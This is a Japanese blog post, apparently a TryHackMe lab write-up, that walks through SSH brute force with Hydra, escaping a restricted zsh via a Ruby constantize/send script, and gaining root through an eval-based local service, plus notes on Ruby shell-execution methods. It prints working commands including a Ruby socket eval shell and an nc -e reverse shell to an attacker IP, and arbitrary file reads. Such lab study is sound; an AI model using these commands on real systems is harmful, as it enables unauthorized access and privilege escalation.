1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe Writeup: Red Stone One Carat & Ruby言語におけるShell Commandについて

1
Posted at

はじめに

この記事は、TryHackMeのwriteupです。
RoomはRed Stone One Carat、(難易度)はMediumです。

このRoomでは、SSHに対するブルートフォース攻撃やRuby言語による制限されたシェルの脱獄手法について学ぶことができます。

Recon

Port Scan

Scanned at 2026-05-24 21:25:46 JST for 5s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:e7:f2:f6:74:65:a6:dd:f2:94:cd:45:fd:f3:2b:2a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHVsUg1GJYLWn/T/EkTfAMV4tdmLEiJvPP4cCCbx7hFt3ma0FAQpMMAoXFP12+hePBYXwJfMv1epkGg0+ur9VZRSfudeSjfR+pVuPE+LjuKU8v02Fo3Wi9xkV2rOuqGkXz09xxI34OwWka/JXFYe/MEXNWCMlSYtWUx+kiOQLG83x7t9rPxXuJ4KBsCnFRm2tEgoW0M3L/PX/97bLRu/A2clOnmyPsL1kwU4MBN3UZkQJCptM+EkqQqo8NMOlw3Sa6JnpGImHdSMBrGUoFo6yL+3i+KMR3foIVbW8WtTY+EKfaDt0e5MAhT1YLgZHdkR58Dh0kPoVRk59iw2divYll
|   256 34:a3:16:aa:b3:1f:83:ac:91:a3:31:b4:45:94:3c:c9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJf9gbS/xBNED4k9vQscQ6Xi4VMzkK2MuFW0YJs5OQ854rlmaELtcwjEIZ9o+2SOVXwx8vH101rlIFQC0pISFP0=
|   256 75:23:c0:66:c7:2c:6e:12:0a:f7:04:61:2b:c6:12:62 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7ai11Zz/i/bAw8SQG0aBJfcYjdIiQQiAXhV8/9b3km
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

上記のポートスキャンから調査をします。

Scanning

今回の問題は少し特殊ですが、sshに対してブルートフォース攻撃を行います。

今回、Task2ではこんなことが書かれています。

Start with SSH bruteforce on user noraj.

norajというユーザー名に対してパスワードスプレー攻撃を試みます。

また、ヒントではこう書かれています。

The password contains "bu".

このことから、辞書ファイルから、buが含まれる単語だけに絞った方が良さそうです。

以下のように実行します。元の辞書ファイルはrockyou.txtから作成しました。

┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ grep "bu" /usr/share/wordlists/rockyou.txt > pass.txt
grep: /usr/share/wordlists/rockyou.txt: binary file matches

Hydra

その後、Hydraを用いて、パスワードスプレー攻撃を行います。

┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ hydra -l noraj -P ./pass.txt  [target_ip] ssh -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-24 21:54:16
[DATA] max 4 tasks per 1 server, overall 4 tasks, 126338 login tries (l:1/p:126338), ~31585 tries per task
[DATA] attacking ssh://[target_ip]:22/
[STATUS] 84.00 tries/min, 84 tries in 00:01h, 126254 to do in 25:04h, 4 active
[22][ssh] host: [target_ip]   login: noraj   password: [LEAKED_PASSWORD]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-24 21:56:45

よって、[LEAKED_PASSWORD]をリークすることに成功しました。

SSH password
Answer: [LEAKED_PASSWORD]

特定したクレデンシャル情報を用いて、SSHログインを試みます。

┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ ssh noraj@[target_ip]                                                   
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
noraj@[target_ip]'s password: 
getent:6: command not found: grep
compdump:136: command not found: mv
red-stone-one-carat% 

よって、SSH接続に成功しました。

ただ、このシェル内ではコマンドが制限されているようです。

red-stone-one-carat% ls
zsh: command not found: ls
red-stone-one-carat% mv
zsh: command not found: mv
red-stone-one-carat% grep
zsh: command not found: grep
red-stone-one-carat% 

現状の環境変数を見ることができるかを検証します。

red-stone-one-carat% echo $PATH
/home/noraj/bin

どうやら、/home/noraj/binが環境変数として設定されているようです。

環境変数をルートディレクトリに戻そうとするとこれも制限されるようです。

red-stone-one-carat% export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export: PATH: restricted

また、隠しファイルやlscatも使えません。

red-stone-one-carat% /bin/ls -la
zsh: /bin/ls: restricted
red-stone-one-carat% /bin/cat /etc/passwd
zsh: /bin/cat: restricted
red-stone-one-carat% /bin/ls -la /home/noraj/bin
zsh: /bin/ls: restricted

ところが、echoコマンドはなんとか使えそうです。

red-stone-one-carat% echo *
bin user.txt

そこで、echoコマンドを使用し、変数として設定した後に見ることでuser.txtの内容が表示されます。結果として、ユーザーフラグを取得することができます。

red-stone-one-carat% echo "$(<user.txt)"
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

user.txt
Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

Exploitation

root.txtを取るためには以下のようなヒントがあります。

Hint: Do in Ruby what you can't do in another way.

つまり、Ruby特有の何かで突破する必要がありそうです。

/home/noraj/bin/の中にはrzshtest.rbという二つのファイルがあります。

red-stone-one-carat% echo bin/*
bin/rzsh bin/test.rb

rzshとは、制限付きのシェル(RESTRICTED SHELL) です。システム運用アカウントのために役に立つシェルです。rzsh は、zsh に付属しているようです。

では、test.rbの中身を見てみましょう

red-stone-one-carat% echo "$(<bin/test.rb)"         
#!/usr/bin/ruby

require 'rails'

if ARGV.size == 3
    klass = ARGV[0].constantize
    obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
    puts File.read(__FILE__)
end

このRubyファイルはそのままだと実行できません。

red-stone-one-carat% ./bin/test.rb
zsh: ./bin/test.rb: restricted

Vulnerability Assessment from Source Code

ここで、test.rbからあることに気づきました。

test.rb: 4行目~6行目

if ARGV.size == 3
    klass = ARGV[0].constantize
    obj = klass.send(ARGV[1].to_sym, ARGV[2])

このコードでは、以下のような処理を行っています:

  1. ARGV.size == 3であることから、引数を3つ渡す必要があります
  2. ARGV[0].constantizeにより、1つ目の引数で指定した文字列を、Rubyのクラス名(オブジェクト)に変換します(Ruby on Railsの機能)
  3. klass.send(ARGV[1].to_sym, ARGV[2])により、そのクラスに対して、2つ目の引数で指定したメソッドを実行し、3つ目の引数をそのメソッドの引数として渡します

つまり、任意のクラスの任意のメソッドに、好きな引数を1つ渡して実行させることができる状態です。また、5行目のklass = ARGV[0].constantizeにより、指定された文字列をクラス名に変換するRuby on Railsの機能から、文字列の中にさらにコードを仕込んで任意のコマンド実行ができるかもしれません。

そこで、Rubyには、システムコマンドを実行するための Kernel モジュールや、コマンドを実行するための systemexec といったメソッドが存在します。これらをこのスクリプト経由で呼び出すことで、制限付きシェル(rzsh)をバイパスして新しいシェルを起動できるかもしれません。

実際に以下のようなコマンドを実行します。

red-stone-one-carat% test.rb Kernel system /bin/sh
red-stone-one-carat% test.rb Kernel exec /bin/sh
Traceback (most recent call last):
        1: from /home/noraj/bin/test.rb:7:in `<main>'
/home/noraj/bin/test.rb:7:in `exec': Permission denied - /bin/sh (Errno::EACCES)
red-stone-one-carat% 
red-stone-one-carat% test.rb Kernel warn "hello"
hello

すると、execの場合はエラーになりますが、systemメソッドで尚且つ、/bin/shを使わなければいけそうです。

Kernelモジュールのevalメソッドによる任意のファイルの読み出し

さらに調査を進めると、以下のことが判明しました。

red-stone-one-carat% test.rb Kernel eval 'Kernel.warn(File.read("/etc/passwd"))'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000:vagrant,,,:/home/vagrant:/bin/bash
noraj:x:1001:1001::/home/noraj:/bin/rzsh
red-stone-one-carat% 

どうやら、evalメソッドを使用し、その中で、Rubyのコードを実行することで任意のファイルを読み出すことに成功しました。

また、UIDを見ることもできそうです。

red-stone-one-carat% test.rb Kernel eval 'Kernel.warn("UID: #{Process.uid} / User: #{Etc.getpwuid(Process.uid).name}")'
UID: 1001 / User: noraj

リバースシェルを作成します。

  • 攻撃側
┌──(rikuxx㉿kali)-[~]
└─$ nc -lvnp 4444  
listening on [any] 4444 ...
  • ターゲット側
red-stone-one-carat% test.rb Kernel eval 'require "socket"; s=TCPSocket.open("[MY_IP]", 4444); s.puts "=== Ruby Interactive Shell ==="; loop { s.print "rb> "; cmd = s.gets; break if cmd.nil? || cmd.chomp == "exit"; begin; result = eval(cmd); s.puts "=> #{result.inspect}"; rescue Exception => e; s.puts "Error: #{e.message}"; end }'

このようにすることで多少はやりやすくなりそうですが、肝心のシェルが実は取れていません。これはあくまでRubyコードを評価するためだけの擬似的なシェルでしかありません。

┌──(rikuxx㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [MY_IP] from (UNKNOWN) [10.49.182.152] 55380
=== Ruby Interactive Shell ===
rb> 

ここで、.hint.txtというものを発見したので、見てみましょう。

rb> File.read("/home/noraj/.hint.txt")
=> "Maybe take a look at local services."
rb>                                   

どうやら、ローカルサービスに何かありそうです。

正直、頭をずっと抱えていたので、他のwriteupを見ることにしました。

どうやら、初動からミスっていたようです。

red-stone-one-carat% test.rb Kernel 'system' "/bin/sh"

systemメソッドをシングルクオーテーション(')で囲み、文字列として認識させるとそもそもOSコマンドインジェクションができるようになっていたっぽいです。(ただのカスです)

また、/binの中には、nc.traditioanlという名前のnetcatがいたようです。

実際にリバースシェルを行います。

  • 攻撃側
┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
  • ターゲット側
red-stone-one-carat% test.rb Kernel 'system' "/bin/nc.traditional [MY_IP] 4444 -e /bin/zsh"

このように、何も見えませんが、これでリバースシェルは成功しています。

┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [MY] from (UNKNOWN) [10.49.182.152] 39610

また、環境変数をルートディレクトリに設定すること、任意のコマンドを実行することができます。

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
whoami;hostname;id
noraj
red-stone-one-carat
uid=1001(noraj) gid=1001(noraj) groups=1001(noraj)

また、この環境変数であればnetcatが使用できるため、ローカルサービスでどんなサービスがあるのかを調べます。

ターゲット側では以下を実行します。

nc -zvnw 1 127.0.0.1 1-65535

すると、攻撃者側でどんなポートが開いているのかを調べることができます。

(UNKNOWN) [127.0.0.1] 36548 (?) open
(UNKNOWN) [127.0.0.1] 31547 (?) open
(UNKNOWN) [127.0.0.1] 22 (ssh) open

このことから、実際にポート番号31547が開いているので、接続を試みます。

nc 127.0.0.1 31547
$ 

すると、やっと環境を触れそうなシェルを得ることに成功しました。

Privilege Escalation

しかし、このシェルでも実行が制限されています。

$ echo hello?
undefined method `hello?' for main:Object

そこで色々模索していたところ、以下のような記事がありました。

どうやら、組み込み構文である%x{ cmd }により、シェルコマンドを呼び出すことができるようです。

実際に試してみると、なんとroot権限まで取ることができてしまいました。

$ %x{id}
uid=0(root) gid=0(root) groups=0(root)
$ 

ただ、cat /root/root.txtだと制限されてしまいますが、/root/*で全表示させることで、ルートフラグを取得することができます。

$ %x{cat /root/*}
THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}require 'socket'

server = TCPServer.new 'localhost', 31547

begin
  while client = server.accept
    client.print '$ '
    while line = client.gets
      if /[\`\(\)\[\]\.\'\"\<\>]+/.match?(line)
        client.puts 'Forbidden character'
      elsif /exit/i.match?(line)
        break
      else
        begin
          client.puts eval(line)
        rescue NameError => e
          client.puts e
        end
      end
      client.print '$ '
    end
    client.puts "Closing the client. Bye!\n"
    client.close
    #server.close
  end
rescue Errno::ECONNRESET, Errno::EPIPE => e
  puts e.message
  retry
end

$ 

root.txt
Answwer: THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}

終わりに

今回は、ブルートフォース攻撃によるログイン後にある制限されたシェルから、Rubyを用いて権限昇格まで行うペンテストラボについて解きました。

最初は割と簡単でしたが、Rubyの仕様を知っていないとわからないようなドメイン知識が多かったなぁという印象でした。結構、制限されたシェルからの脱獄はオモロいなと思いました。

ちなみに、このラボの作成者は、なんとArchBlack Linuxの開発者の一人らしいです。

自分も早く、aptパッケージから卒業して、pacmanを使えるようになりたいですね。今だに変えても慣れません。

Ruby言語におけるShell Commandについて

ここでは、Ruby言語のShell Commandの呼び出し方やそもそもRubyのKernelモジュールとは何かについて取り上げ、どういったものなのかを整理できたらと考えています。

Tips

RubyのKernelモジュールとは?

全てのクラスから参照できるメソッドを定義しているモジュール。 Object クラスはこのモジュールをインクルードしています。

Object クラスのメソッドは実際にはこのモジュールで定義されています。これはトップレベルでのメソッドの再定義に対応するためです。
引用: https://docs.ruby-lang.org/ja/latest/class/Kernel.html

要は、システムコマンドを実行するためのコマンド実行するためのメソッドが多く含まれており、 systemexec といったメソッドが存在します。

これを利用し、リバースシェルや何かしらの任意コマンド実行することが可能になっています。

constantizeメソッドにおけるシェルコマンドの呼び出し

The constantize method is a Rails metaprogramming method that converts a string into a constant reference (typically a class or module). For example, "User".constantize returns the User class. This is commonly used to dynamically instantiate classes based on runtime conditions.

The Security Risk: When user-supplied input is passed to constantize, an attacker can instantiate any accessible class in the application, including dangerous system classes. This can lead to arbitrary code execution, information disclosure, or denial of service.

constantizeメソッドは、文字列を定数参照(通常はクラスやモジュール)に変換するRailsのメタプログラミングメソッドです。例えば、"User".constantizeUserクラスを返します。これは、実行時の条件に基づいてクラスを動的にインスタンス化するために一般的に使用されます。

セキュリティ上のリスク:ユーザーから提供された入力が constantize に渡されると、攻撃者はアプリケーション内でアクセス可能な任意のクラス(危険なシステムクラスを含む)をインスタンス化できてしまいます。これにより、任意のコード実行、情報漏洩、またはサービス拒否(DoS)攻撃につながる可能性があります。(日本語訳)
引用: https://github.com/OWASP/railsgoat/wiki/Extras:-Constantize#description

Rubyには、文字列を定数参照(通常はクラスやモジュール)に変換するRailsのメタプログラミングメソッドというメソッドがあります。しかし、ここを起点に検証されている定数化やパスドラバーサルを引き起こす脆弱性がありました。

このことから、パス名クラスを介した情報漏洩やERBテンプレートを介したコード実行、サービス拒否攻撃になる可能性があります。

また、Constantizeメソッドにはペストプラクティスも公開されており、参考になると思います。

組み込み構文によるシェルコマンドの呼び出し

以下の記事より、Rubyからシェルコマンドを呼び出す方法が書かれています。

この中では、4つの方法が挙げられています。

  1. ``によるシェルコード実行
  2. 組み込み構文によるシェルコード実行
  3. Kernel#systemによるシェルコード実行
  4. Kernel#execによるシェルコード実行

具体的なコードは、上記のStack Overflowの記事にあります。これらを利用して、シェル内のファイル探索やOSコマンド実行などを行うことが可能です。

 
少しでも、Rubyのペンテストラボを解く上でご参考になると幸いです。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?